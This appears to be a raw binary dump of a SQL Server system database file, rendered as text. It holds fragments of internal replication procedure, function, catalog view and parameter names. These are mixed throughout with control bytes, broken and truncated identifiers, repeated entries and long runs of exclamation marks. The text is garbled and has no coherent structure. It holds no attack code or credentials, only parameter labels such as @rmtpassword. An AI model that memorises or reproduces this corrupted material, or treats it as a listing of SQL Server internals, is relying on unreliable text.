Vsp_MShelpmergearticles_nonpartgroups&eUFsp_MShelpmergeschemaarticles&*sp_MSgetonerow& z|2sp_MSgetlastrecgen&m4sp_MSgetlastsentgen&7c<sp_MSgetlastsentrecgens&z:sp_MSgetgenstatus4rows&-6sp_MSgetreplicastate&!Bsp_MSinitdynamicsubscriber&4sp_MSgetrowmetadata&M8sp_MSgetmetadatabatch&܈<sp_MSgetmetadatabatch90&4Bsp_MSgetmetadatabatch90new&>8sp_MSinsertgenhistory&x4sp_MSgetreplicainfo&*Jsp_MSgetsupportabilitysettings&@sp_MSinsertdeleteconflict&ҜB>sp_MSgetsetupbelong_cost&yڱFsp_MSinsertbeforeimageclause&#<sp_MSinsertschemachange&l?:sp_MSgetviewcolumnlist&p:sp_MSgetsubscriberinfo&L5(0sp_MSgetmaxbcpgen&)8sp_MSgettablecon\f		HVN
8:ffr|
d\
|n*BV:

^ 	B

	F("
`
>` 

Fl"V4cA=G)&8fn_replbitstringtoint&Rfn_replcombinehilodwordintobinary8&:|Hfn_replcomposepartitionfolder&\fn_replcomposepublicationsnapshotfolder&b;8fn_replformatdatetime&Vfn_replgenerateshorterfilenameprefix&2ؖ>fn_replgetbinary8hidword&>fn_replgetbinary8lodword&4X@fn_replgetcolidfrombitmap&e8>fn_replgetinstanceregkey&dV@fn_replgetsqlserverregkey&:Ffn_replgetsubscriptionregkey&8fn_replinttobitstring&u>fn_replmakestringliteral&s+6fn_replprepadbinary8&.fn_replquotename&b$fn_replrotr&VLfn_repltrimleadingzerosinhexstr&/n0fn_RowDumpCracker&B8fn_servershareddrives&UA
>fn_skipparameterargument&=+"8fn_trace_geteventinfo&5:fn_trace_getfilterinfo&uv.fn_trace_getinfo&o/0fn_trace_gettable&s>fn_translate_permissions&܂:fn_validate_plan_guide&_4fn_virtualfilestats&FE8fn_virtualservernodes&uDfn_xe_file_target_read_file&f4foreign_key_columns&g&foreign_keys&H0fulltext_catalogs&<fulltext_document_types&Hfulltext_index_catalog_usages&k:fulltext_index_columns&	>fulltext_index_fragments&l.fulltext_indexes&1y2fulltext_languages&jfulltext_semantic_language_statistics_database&cFDfulltext_semantic_languages&2fulltext_stoplists&2fulltext_stopwords&@fulltext_system_stopwords&>fulltext_thesaurus_files&:function_order_columns&e2generate_index_ddl&e@generate_table_sample_ddl&(generate_type&D|6GeodeticGridCoverage&o6GeodeticTessellation&FGeographyCollectionAggregate&oSFGeographyConvexHullAggregate&.BGeographyEnvelopeAggregate&=r<GeographyUnionAggregate&&WDGeometryCollectionAggregate&\DGeometryConvexHullAggregate&@GeometryEnvelopeAggregate&!:GeometryUnionAggregate&RGetGeographyTessellation_VarBinary&R\GetPlanarGeometryTessellation_VarBinary&*http_endpoints&t.identity_columns&o(index_columns&
&index_counts&sindexes&indexes$&NJfn_updateparameterwithargument&b\fn_updateparameterwithqualifiedargument&Qݣ0fn_repluniquename&m2{*fn_synctrigger&$fn_serverid&ی:fn_units_until_maxdate&&VDfn_subtract_units_from_date&'2fn_replencryptver4&nyf2fn_repldecryptver4&2\8fn_replencryptversion&T,fn_secondstohms& >fn_replparsewindowslogin&Nfn_replisvalidwindowsloginformat&:Hfn_yukonsecuritymodelrequired&>Tfn_replgetagentcommandlinefromjobid&XVFfn_replremoveleadingcomments&6fn_replremovefullobj&:fn_replcheckquotedname&2@:fn_replgetparsedddlcmd&*@fn_replreplacesinglequote&cbfn_replreplacesinglequoteplusprotectstring&@m<fn_varbintohexsubstring&/<R0fn_varbintohexstr&R2fn_sqlvarbasetostr&1
6fn_repltagcustomproc&Bfn_repltranquotecustomproc&-ffn_replgetNumMergesubscriptionsOnPublication&
szfn_replgetNumMergesubscriptionsNowSyncingOnPublication&vfn_replgetNumOfErrorsMergesubscriptionsOnPublication&Ezfn_replgetNumOfWarningsMergesubscriptionsOnPublication&KSBfn_replgetWorstWarningDurationMergesubscriptionsOnPublication&zfn_replgetWorstWarningExpirationMergesubscriptionsOnPublication&j4Jfn_replgetpublicationthreshold&v@fn_replgetbitmapfromcolid&@fn_replp2pversiontotranid&N2fn_replvarbintoint&:Bfn_replmerge_get_cmdcounts&Lfn_replmerge_get_errormsgcounts&<oHfn_replsubtractkomododuration&ğPfn_replmonitorsubscriptionranking&Bfn_repldecryptver4_wrappertLF

D

:f4

|
J

	j	8	
	J@4\,2dNz|vVfH>|0|fVdt<Zv2`
g"@52&^sp_MSscriptpublicationcustomprocs_sqlclr&}Rsp_MSscriptsynctrancommands_sqlclr&lW2sp_MSsetaccesslist&7$sp_MSsetbit&x<sp_MSsubst_filter_names&&sp_MStestbit&Jsp_MStran_is_snapshot_required&Rbsp_MStrypurgingoldsnapshotdeliveryprogress&.4sp_MSunmarkifneeded&eXsp_MSsubscription_enabled_for_syncmgr&Dsp_MSsub_cleanup_prop_table&>sp_MSsub_cleanup_orphans&xk*Dsp_MStable_has_unique_index&SBa8sp_MStable_validation&5ONsp_MSset_subscription_properties&;SF0sp_MSset_sub_guid&r0sp_MSunc_to_drive&<sp_MSsub_check_identity&(8sp_MSsub_set_identity&Ex4sp_MSsendtosqlqueue&@sp_MSsetcontext_replagent&&A`sp_MSsetcontext_merge_identityrangeddlbit&cZsp_MSsetcontext_bypasswholeddleventbit&Fbsp_MSsetcontext_bypassreplicateddleventbit&fu0Jsp_MSsetcontext_internalcaller&_*Dsp_MSsku_allows_replication&,^Tsp_MSsetupnosyncsubscriptionwithlsn&g 4sp_MStran_alterview&n@sp_MStran_alterschemaonly&=!:sp_MStran_altertrigger&T6sp_MSsetfilterparent&f*:sp_MSsetfilteredstatus&T2sp_MSSetLogForRepl&pLsp_MSscriptupdateconflictfinder&[@sp_MStable_not_modifiable&3A2sp_MStran_autoproc&G0sp_MStran_ddlrepl&6sp_MStran_altertable&sf\sp_MSsetupnosyncsubwithlsnatdist_helper&u^sp_MSsetupnosyncsubwithlsnatdist_cleanup&;YsNsp_MSsetupnosyncsubwithlsnatdist&>p>sp_MSsubscription_status&oDFsp_MSset_snapshot_xact_seqno&xLFsp_MSsnapshotagentjobcontrol&Y>sp_MSstartsnapshot_agent&Hi<sp_MSstopsnapshot_agent&3Fsp_MSstartdistribution_agent&0]Dsp_MSstopdistribution_agent&(Ɯ8sp_MSstartmerge_agent&se6sp_MSstopmerge_agent&a8sp_MSuniqueobjectname&Maj4sp_MSuniquetempname&2sp_MSuniquecolname&y_2sp_MStablenickname&:sp_MStablenamefromnick&j:sp_MSsethighestversion&8sp_MSset_timestamp_bm&,U}Fsp_MSsetup_publisher_idrange&IZ:sp_MSsubsetpublication&^KPsp_MSsetup_partition_groups_table&5Jdsp_MSsetup_publication_for_partition_groups&Jsp_MSsetup_function_list_table&miLsp_MSsetup_use_partition_groups&RDsp_MSsetup_partition_groups&jLsp_MSset_dynamic_filter_options&5/6sp_MSsetreset_NFR_FK&D0sp_MSsetgentozero&-2sp_MSsetlastrecgen&
4sp_MSsetlastsentgen&$4sp_MSsetrowmetadata&4sp_MSsetreplicainfo&Tkm8sp_MSsetreplicastatus&o+:sp_MSsetconflictscript&8sp_MSsetconflicttable&k.sp_MSsetartprocs&ŮbPsp_MSsetupbelongs_withoutviewproc&p6sp_MSsetupnotbelongs&%Pm6sp_MSsetupworktables&=0sp_MSsetupbelongs&_+Bsp_MSscriptsubscriberprocs&L_Bsp_MSsubscriptionvalidated&=4sp_MSscriptviewproc&&:sp_MSsetsubscriberinfo&c	Lsp_MSset_logicalrecord_metadata&vi@sp_MSsetup_identity_range&Dsp_MSset_new_identity_range&'&1Fsp_MSsetreplicaschemaversion&,sp_MSsubtractbm&,sp_MStablespace&*sp_MStablerefs&*sp_MStablekeys&Gn.sp_MStablechecks&~.sp_MSsettopology&=,sp_MSuniquename&1	8sp_MSSQLDMO80_version&K8sp_MSSQLDMO90_version&p%8sp_MSSQLDMO70_version&8sp_MSSQLOLE65_version&J4sp_MSSQLOLE_version&s>sp_MSSetServerProperties&66sp_MSSharedFixedDisk&l8}4sp_MSset_oledb_prop&"0sp_MSsetalertinfodate_subscriber_schedule&oDFsp_MSset_snapshot_xact_seqno&#Bsp_MSwritemergeperfcounter&EXsp_MSupdate_subscriber_tracer_history&{Bsp_MSupdate_tracer_history&FK>sp_MSupdatecachedpeerlsn&xLFsp_MSsnapshotagentjobcontrol&Y>sp_MSstartsnapshot_agent&Hi<sp_MSstopsnapshot_agent&3Fsp_MSstartdistribution_agent&0]Dsp_MSstopdistribution_agent&(Ɯ8sp_MSstartmerge_agent&se6sp_MSstopmerge_agent&4sp_MSverboselogging&a8sp_MSuniqueobjectname&Maj4sp_MSuniquetempname&2sp_MSuniquecolname&y_2sp_MStablenickname&:sp_MStablenamefromnick&j:sp_MSsethighestversion&8sp_MSset_timestamp_bm&,U}Fsp_MSsetup_publisher_idrange&IZ:sp_MSsubsetpublication&^KPsp_MSsetup_partition_groups_table&5Jdsp_MSsetup_put
J
(
|	n		Lx
.	 fZD
R4T|
b

>,DFVh T TV@vTNBLL
 `e
YW"6T8n&Ѿ:spt_datatype_info_view&oHspt_indexcolumns_view_managed&.spt_indexes_view&2%6spt_indexes_view_100&}n>spt_indexes_view_managed&Rspt_parameters_numbered_parameters&D8spt_parameters_system&4spt_parameters_user&\6spt_permission_names&U&8spt_primary_keys_view&{\spt_procedure_params_return_values_view&M@spt_procedure_params_view&<8spt_procedures_system&24spt_procedures_user&2spt_provider_types&<spt_provider_types_view&i,spt_server_info&~4<spt_sparse_columns_view&9VwDspt_sproc_columns_odbc_view&Se`spt_sproc_columns_return_values_odbc_view&@@spt_table_privileges_view&%EDspt_table_type_columns_view&MNspt_table_type_primary_keys_view&6^6spt_table_types_view&7i>spt_tablecollations_view&[6spt_tables_info_view&
,spt_tables_view&"spt_values&V4spt_xml_schema_view&Z.sql_dependencies&Dsql_expression_dependencies&pFsql_expression_dependencies$&!"sql_logins&`$sql_modules&nstats&m(stats_columns&0*symmetric_keys&\synonyms&(sysallocunits&@$sysaltfiles&_$sysasymkeys&;"sysaudacts&:"sysbinobjs&/"sysbinpals&a(sysbinsubobjs&(sysbrickfiles&?,syscacheobjects&.syscerts&=$syscharsets&P(syschildinsts& sysclones&@"sysclsobjs&)"syscolpars&"syscolumns&i$syscolumns$&$syscomments&|&syscommittab&R.syscompfragments&<(sysconfigures&|*sysconstraints&G&sysconvgroup&>.syscscolsegments&?0syscsdictionaries&;(syscurconfigs&:.syscursorcolumns&9(syscursorrefs&8"syscursors&7,syscursortables&6&sysdatabases&"sysdbfiles& sysdbfrag&sysdbreg&~"sysdepends&Isysdercv&H sysdesend&5"sysdevices&8 sysendpts& sysfgfrag&r(sysfilegroups&qsysfiles& sysfiles1&O$sysfoqueues&}*sysforeignkeys&Ysysfos& sysftinds&V,sysftproperties&T.sysftsemanticsdblL2~^>



~
\
6

j:f@



r
J
&

			j	H	&		nF.
^0x:r2R&LxBF`#

&
^"N71 2&2Psp_MScleandbobjectsforreplication&VLsp_MScleanup_publication_ADinfo&@sp_MSCleanupForPullReinit&mRsp_MSCleanupForPullReinitWithPubId&	0sp_MScopyregvalue&IBsp_MScreate_mergesystables&u<sp_MScreate_peer_tables&:sp_MScreate_sub_tables&Lsp_MScreate_sub_tables_internal&D^sp_MScreate_sysmergeextendedarticlesview&^sp_MScreate_sysmergeschemaarticles_table&eVsp_MScreate_zero_identity_constraint&(W3Fsp_MScreatedisabledmltrigger& :sp_MScreatenewreplnick&t0sp_MScopysnapshot&`sp_MScreate_subscription_properties_table&BJsp_MScreate_distributor_tables&7g<sp_MScreate_dist_tables&1Jsp_MScreate_common_dist_tables&k.Vsp_MScreate_replication_status_table&!zXsp_MScreate_replication_checkup_agent&oPTsp_MScleanupmergepublisher_internal&pBsp_MScleanupdynsnapshotvws&_Fsp_MScleanupmergepublisherdb&H\4sp_MScopyscriptfile&6@sp_MScopyscriptfile_merge&:sp_MSdisableautonosync&:sp_MScreate_pub_tables&IɠBsp_MSdeletetranconflictrow&8ZBsp_MSdeletepeerconflictrow&h޲.sp_MSdefer_check&X>sp_MScleanup_agent_entry&	^Tsp_MSdetectinvalidpeerconfiguration&mqRsp_MSdetectinvalidpeersubscription&tBFsp_MSdetectinvalidaddarticle&uBsp_MScleanup_peer_metadata&\Psp_MScleanupdynamicsnapshotfolder&Lsp_MScleanup_subscriber_history&.Dsp_MSdist_activate_auto_sub&
Jsp_MSdetect_nonlogged_shutdown&Kp`sp_MSclearresetpartialsnapshotprogressbit&@sp_MSdeletefoldercontents&Bsp_MSdelete_tracer_history&7^sp_MScleanup_subscription_distside_entry&9W>sp_MSconflicttableexists&@Lsp_MScreatedownloadonlytriggers&Tsp_MScleanup_zeroartnick_genhistory&Z`sp_MSdelete_specifiedcontentsandtombstone&o6sp_MSclosegeneration&
Fsp_MScompute_maxmin_identity&LNsp_MScreate_logical_record_views&;Dsp_MScleanup_conflict_table&S8sp_MScleanup_conflict&q4sp_MSclearcolumnbit&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputemergeunresolvedrefs&ooLsp_MScreatemergedynamicsnapshot&Xsp_MSdetermine_logical_record_parents&V[^sp_MScreate_article_logical_record_views&J
Bsp_MScreatedummygeneration&NdPsp_MSdisable_use_partition_groups&Vsp_MSclear_dynamic_snapshot_location&_Hsp_MScreate_article_repl_view&yRsp_MScreate_all_article_repl_views&sJsp_MScreate_article_repl_views&.sp_MScreateretry&LfZ.sp_MSdeleteretry&`>sp_MScreateglobalreplica&.$sp_MSdelrow&C0sp_MSdelrowsbatch&ZiSJsp_MSdelrowsbatch_downloadonly&2Hsp_MScreateandsetarticleprocs&Fsp_MScreatedupkeyupdatequery&wNsp_MSdeletemetadataactionrequest&j{4sp_MScontractsubsnb&
,sp_MSdelsubrows&_6sp_MSdelsubrowsbatch&i:sp_MScreatebeforetable&<<sp_MScomputelastsentgen&.,sp_MSdelgenzero&0Lsp_MScreate_tempgenhistorytable&Nsp_MScreatelightweightmetatables&2Wjsp_MScreatelightweightprocstriggersconstraints&
-Rsp_MScreatelightweightarticleprocs&Efsp_MScreatelightweightinsertorupdatetriggers&'Jsp_MScreatelightweighttriggers&0Nsp_MScreatelightweightinsertproc&INsp_MScreatelightweightupdateproc&NNsp_MScreatelightweightdeleteproc&Zsp_MScreatelightweightmultipurposeproc&#Rsp_MSdeletelightweightsubscription&0sp_MSdependencies&,0sp_MSdbuseraccess&`d,sp_MSdbuserpriv>sp_MSconflicttableexists&B4sp_MSdropguidcolumn&@Lsp_MScreatedownloadonlytriggers&Tsp_MScleanup_zeroartnick_genhistory&Z`sp_MSdelete_specifiedcontentsandtombstone&o6sp_MSclosegeneration&\0sp_MSdrop_rladmin&ؽBsp_MSdropmergepub_snapshot&
Fsp_MScompute_maxmin_identity&F@8sp_MSdropmergearticle&-+B8sp_MSdropmergepalrole&LNsp_MScreate_logical_record_views&.Xsp_MSdrop_expired_mergesubscription90&Tsp_MSdrop_expired_mergesubscription&;Dsp_MScleanup_conflict_table&S8sp_MScleanup_conflict&q4sp_MSclearcolumnbit&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputeme
PXj			$N"t&hp
"zr,|*6Z~& v<
h.j>Tr>f"
n2b<D
8
P

`G	-)8-,t80-緰gmemory_allocation_address0-緰Osize_in_bytes0-緰==Ocreation_time0-緰_memory_object_address0-緰44Qmemory_node_id0-緰callocator_stack_address0-緰4Ksource_file0-緰88
Eline_num0-緰	88
Msequence_num0-緰
88
;tag0-	I@tablename0-	I@ownername0-C@dbname0-E@optname0-A@value0-hh[@ignore_distributor0-hhS@from_scripting-ܻhh0-ܻ;@db8
acontext_switches_count0-
88
[idle_switches_count0-88
[current_tasks_count0-88
]runnable_tasks_count0-
88
_current_workers_count0-88
]active_workers_count0-Uwork_queue_count0-88
_pending_disk_io_count0-88
Kload_factor0-88
Kyield_count0-[last_timer_activity0-hhcfailed_to_create_worker0-_active_worker_address0-_memory_object_address0-itask_memory_object_address0-Wquantum_length_us0-88
Kpdw_node_id0-I$$Qmirroring_guid0-IxxYstate_machine_name0-IxxKaction_type0-Ixx=name0-IxxOcurrent_state0-I88
Saction_sequence0-U-_event_session_address0-U-4Kcolumn_name0-U-88
Gcolumn_id0-U-4Mcolumn_value0-U-x4xKobject_type0-U-4Kobject_name0-U-$$[object_package_guid0-}4OTABLE_CATALOG0-}4MTABLE_SCHEMA0-}4ITABLE_NAME0-}4KCOLUMN_NAME0-}$$KCOLUMN_GUID0-}88
OCOLUMN_PROPID0-}88
UORDINAL_POSITION0-}hhWCOLUMN_HASDEFAULT0-}	@4@QCOLUMN_DEFAULT0-}
88
MCOLUMN_FLAGS0-}hhKIS_NULLABLE0-}44GDATA_TYPE0-}
$$GTYPE_GUID0-}88
eCHARACTER_MAXIMUM_LENGTH0-}88
aCHARACTER_OCTET_LENGTH0-}44WNUMERIC_PRECISION0-}44ONUMERIC_SCALE0-}88
YDATETIME_PRECISION0-}4_CHARACTER_SET_CATALOG0-}4]CHARACTER_SET_SCHEMA0-}4YCHARACTER_SET_NAME0-}4WCOLLATION_CATALOG0-}4UCOLLATION_SCHEMA0-}4QCOLLATION_NAME0-}4QDOMAIN_CATALOG0-}4ODOMAIN_SCHEMA0-}4KDOMAIN_NAME0-}@4@KDESCRIPTION0-vC88
Gobject_id0-vC88
Gschema_id0-vCOTABLE_CATALOG0-vCMTABLE_SCHEMA0-vCITABLE_NAME0-vCYCONSTRAINT_CATALOG0-vCWCONSTRAINT_SCHEMA0-vCSCONSTRAINT_NAME0-vC	@@MCHECK_CLAUSE0-vC
KDESCRIPTION0-hhS@tran_sub_table0-hhS@property_table0-hhS@sqlqueue_table0-hhm@subscription_articles_table0-hhI@p2p_table0-%Uc@snapshot_session_token0-	I@tablename0-	I@ownername0-C@dbname0-E@optname0-A@value0-hh[@ignore_distributorYNFe"Uxe`r-B	I)]	9J]0--mhash_hit_total_search_length0--ohash_miss_total_search_length0--Ghash_hits0--Khash_misses0--88
Whash_bucket_count0--Umem_status_stamp0--88
Imem_status0--88
Ulogpoolmgr_count0-1=name0-1Asource0-1hhIis_enabled0-xAC@dbname0-xAE@newname0-cF88
=lcid0-cF4=name0-pQE@objname0-_Ocache_address0-_4=name0-_x4x=type0-_x4xIclock_hand0-_x4xMclock_status0-_Mrounds_count0-_eremoved_all_rounds_count0-_eupdated_last_round_count0-_	eremoved_last_round_count0-_
Qlast_tick_time0-_Uround_start_time0-__last_round_start_time0-_
88
Kpdw_node_id0-t#cC@server0-t#c#E@optname0-t#cG@optvalue-xT88
0-xT$$A@pubid0-xT88
E@artnick0-$GO@install_path-3`hh0-3`E@db_name0-vZ=name0-vZ88
Gcolumn_id0-vZ88
I@object_id0-vZ88
I@column_id0-:M@publication0-:E@article0-:hh[@ignore_distributor0-:hhi@force_invalidate_snapshot0-:I@publisher0-:hha@from_drop_publication0-:S@publisher_type0-:hhG@internal0- gM@publication0- gE@article0- ghhO@command_only0- gI@publisher0- gO@publisher_db0- gM@distributor0- ghhC@has_ts0- ghhI@has_ident0- g	hhA@alter0- g
hhI@trig_only0- ghhI@usesqlclr0-L6I@publisher0-L6K@subscriber0-
Gh?@name0-
Gh==?@time0-ch
a@qualified_object_name0-ch$$A@artid0-chll&M@range_begin0-chll&I@range_end0-chll&W@next_range_begin0-chll&S@next_range_end0-ch00O@ranges_given0-chhh]@low_range_inclusivedistributor0-:hhi@force_invalidate_snapshot0-:I@publisher0-:hha@from_drop_publication0-:S@publisher_type0-:hhG@internal0- gM@publication0- gE@article0- ghhO@command_only0- gI@publisher0- gO@publisher_db0- gM@distributor0- ghhC@has_ts0- ghhI@has_ident0- g	hhA@alter0- g
hhI@trig_only0- ghhI@usesqlclr0-;M@publication0-;E@article0-;G@procname0-;hhA@alter0-88
A@artid0-00Q@publishertype0-I@publisher0-hhI@usesqlclr0-hhI@inDDLrepl0-I@publisher0-C@schema0-I@operation0-L6I@publisher0-L6K@subscriber0-
Gh?@name0-
Gh==?@time?Der%(Uv-L		Q	W&	R78u&i 
Q
 

g"Q
D
qUz%<`+-3)7:F/=0-9{pC@dbname0-9{pK@syslogical0-9{pM@sysphysical0-9{p88
E@syssize0-9{pK@loglogical0-9{pM@logphysical0-9{p88
E@logsize0-9{pO@datalogical10-9{p	Q@dataphysical10-9{p
88
I@datasize10-9{pO@datalogical20-9{pQ@dataphysical20-9{p
88
I@datasize20-9{pO@datalogical30-9{pQ@dataphysical30-9{p88
I@datasize30-9{pO@datalogical40-9{pQ@dataphysical40-9{p88
I@datasize40-9{pO@datalogical50-9{pQ@dataphysical50-9{p88
I@datasize50-9{pO@datalogical60-9{pQ@dataphysical60-9{p88
I@datasize60-9{pO@datalogical70-9{pQ@dataphysical70-9{p88
I@datasize70-9{pO@datalogical80-9{pQ@dataphysical80-9{p88
I@datasize80-9{p O@datalogical90-9{p!Q@dataphysical90-9{p"88
I@datasize90-9{p#Q@datalogical100-9{p$S@dataphysical100-9{p%88
K@datasize100-9{p&Q@datalogical110-9{p'S@dataphysical110-9{p(88
K@datasize110-9{p)Q@datalogical120-9{p*S@dataphysical120-9{p+88
K@datasize120-9{p,Q@datalogical130-9{p-S@dataphysical130-9{p.88
K@datasize130-9{p/Q@datalogical140-9{p0S@dataphysical140-9{p188
K@datasize140-9{p2Q@datalogical150-9{p3S@dataphysical150-9{p488
K@datasize150-9{p5Q@datalogical160-9{p6S@dataphysical160-9{p788
K@datasize160-#st88
Kdatabase_id0-#st44Cfile_id0-#st44Mfilegroup_id0-#stUtotal_page_count0-#stkallocated_extent_page_count0-#stounallocated_extent_page_count0-#stwversion_store_reserved_page_count0-#stsuser_object_reserved_page_count0-#st	{internal_object_reserved_page_count0-#st
cmixed_extent_page_count0-op$$Egroup_id0-op4Sprimary_replica0-op88
econfigured_replica_count0-op88
Ylocal_replica_role0-O@TextPtrValue0-{88
=spid0-{44Kdatabase_id0-{88
Equeue_id0-{4Qprocedure_name0-{88
Iexecute_as0-$$Egroup_id0-H4HKlistener_id0-~4~Edns_name0-88
=port0-hhOis_conformant0-@4@}ip_configuration_string_from_cluster0-88
Kdatabase_id0-88
Equeue_id0-@4@?state0-==alast_empty_rowset_time0-==[last_activated_time0-88
Otasks_waiting0-_K@table_name0-_M@table_owner0-_U@table_qualifier0-_K@index_name0-_I@is_unique0-_G@accuracy0-`v8[@qual_source_object0-`v$$A@pubid0-`vK@columnName0-`v88
[@column_change_type0-1o|$$A@pubid0-1o|?@role!\u^cV:.E[?.!Gby(9J

[

l!}2

E
		\		s"9Pg~/F];`-[Q);ĿrT0-iC@server0-iE@catalog0-iC@schema0-i?@name0-sG@binvalue0-sG@hexvalue0-bt88
Gobject_id0-bt88
Eindex_id0-btOphysical_name0-y88
9id0-y88
Kdatabase_id0-yUU;sid0-y88
Gobject_id0-y==Ccreated0-y88
Ctimeout0-y88
Astatus0-}A@ftcat0-}C@action0-}?@path0-FEENodeName0-FE88
Astatus0-FE@@Ystatus_description0-FEhhUis_current_owner0-wK@rmtsrvname0-wE@useself0-wK@locallogin0-wE@rmtuser0-wM@rmtpassword0-OC@ntname0-)Cwait_id0-)@@Isession_id0-)=type0-)Kobject_type0-)Kobject_name0-)HHIrequest_id0-)==Mrequest_time0-)==Macquire_time0-)	dd?state0-)
88
Epriority0-u$$Kmodule_guid0-u$$Mpackage_guid0-ux4xKobject_name0-u4@Ievent_data0-u4Gfile_name0-uKfile_offset0-jmK@table_name0-jmO@table_schema0-jmU@constraint_name0-jmY@constraint_schema0-jmO@table_schema0-jmU@constraint_name0-jmY@constraint_schema0-*
?@type0-*hh[@ignore_distributor0-*hhM@from_backup0-%M@publication0-%E@article0-%<M@update_mode0-%I@publisher0-%S@publisher_type0-%Y@nvarcharmaxscript0-A@agent0-K@agent_name0-88
C@status0-E@message0-K@subscriber0-M@publication0-E@article0-{88
I@tracer_id0-TQI@publisher0-TQO@publisher_db0-TQM@publication0-TQ88
W@publication_type0-TQ88
?@mode0-TQ88
C@topnum0-TQhhY@exclude_anonymous0-TQ00Q@refreshpolicy0-yڱ$$A@pubid0-yڱ88
A@objid0-yڱO@tablenickstr0-yڱ88
A@phase!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!9X
>mw*WrDAN

<
		[		Gb
e

r'OBc$_W?j+`-jG)
<%B0-}C@server0-}E@catalog0-}C@schema0-}A@table0-}?@name0-GMbase_address0-G4Mfile_version0-G4Sproduct_version0-Ghh?debug0-GhhCpatched0-GhhIprerelease0-GhhOprivate_build0-GhhOspecial_build0-G	88
Elanguage0-G
4Ccompany0-G4Kdescription0-G4=name0-
I@functname0-g88
Q@cursor_return0-ga@fulltext_catalog_name0-Mtask_address0-hhQis_remote_task0-44Isession_id0-88
Irequest_id0-88
Sexec_context_id0-88
Kdatabase_id-:|@0-:|M@suser_sname0-:|I@host_name0-:|88
O@partition_id0-R$$A@artid0-R$$A@pubid0-RC@ddlcmd0-SI@publisher0-SA@owner0-SA@table0-S88
Q@publicationid0-S88
I@articleid0-S88
O@command_type0-S@E@command0-Shh[@subscription_level-c@0-c@C@pstrin0-sq588
A@artid0-sq500Q@publishertype0-sq5I@publisher0-HM@publication0-$44O@publisher_id0-$O@publisher_db0-$E@xact_id0-$K@xact_seqno0-$K@originator0-$Q@originator_db0-$88
K@article_id0-$88
K@command_id0-$	88
?@type0-$
hhU@partial_command0-$E@command0-$I@publisher0-%C@job_id-B#88
0-B#W@capture_instance0-B#M@column_name0-0,M@publication0-0,Q@source_object0-0,S@conflict_table0-5J$$A@pubid0-;M@publication0-Q$$A@pubid0-QO@artnickarray0-Q@O@rowguidarray<Y0ZX
:	Xi

?
		r	1	NFcEq
}?'DoC

jl+`>-{$)=& 0-i<<Qattribute_name0-iSattribute_value0-wM@publication0-w88
A@found0-wI@publisher0-wS@publisher_type0-<"88
G@agent_id0-
?@name0-
I@publisher0-
O@publisher_db0-
M@publication0-
88
W@publication_type0-
hhI@local_job0-
88
G@freqtype0-
88
O@freqinterval0-
	88
M@freqsubtype0-

88
U@freqsubinterval0-
88
_@freqrelativeinterval0-
88
_@freqrecurrencefactor0-

88
U@activestartdate0-
88
Q@activeenddate0-
88
_@activestarttimeofday0-
88
[@activeendtimeofday0-
@E@command0-
hhO@job_existing0-
S@snapshot_jobid0-
44e@publisher_security_mode0-
U@publisher_login0-
[@publisher_password0-
I@job_login0-
O@job_password0-
S@publisher_type0-
G@internal0-m'[@original_publisher0-m'O@publisher_db0-m'_@redirected_publisher!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!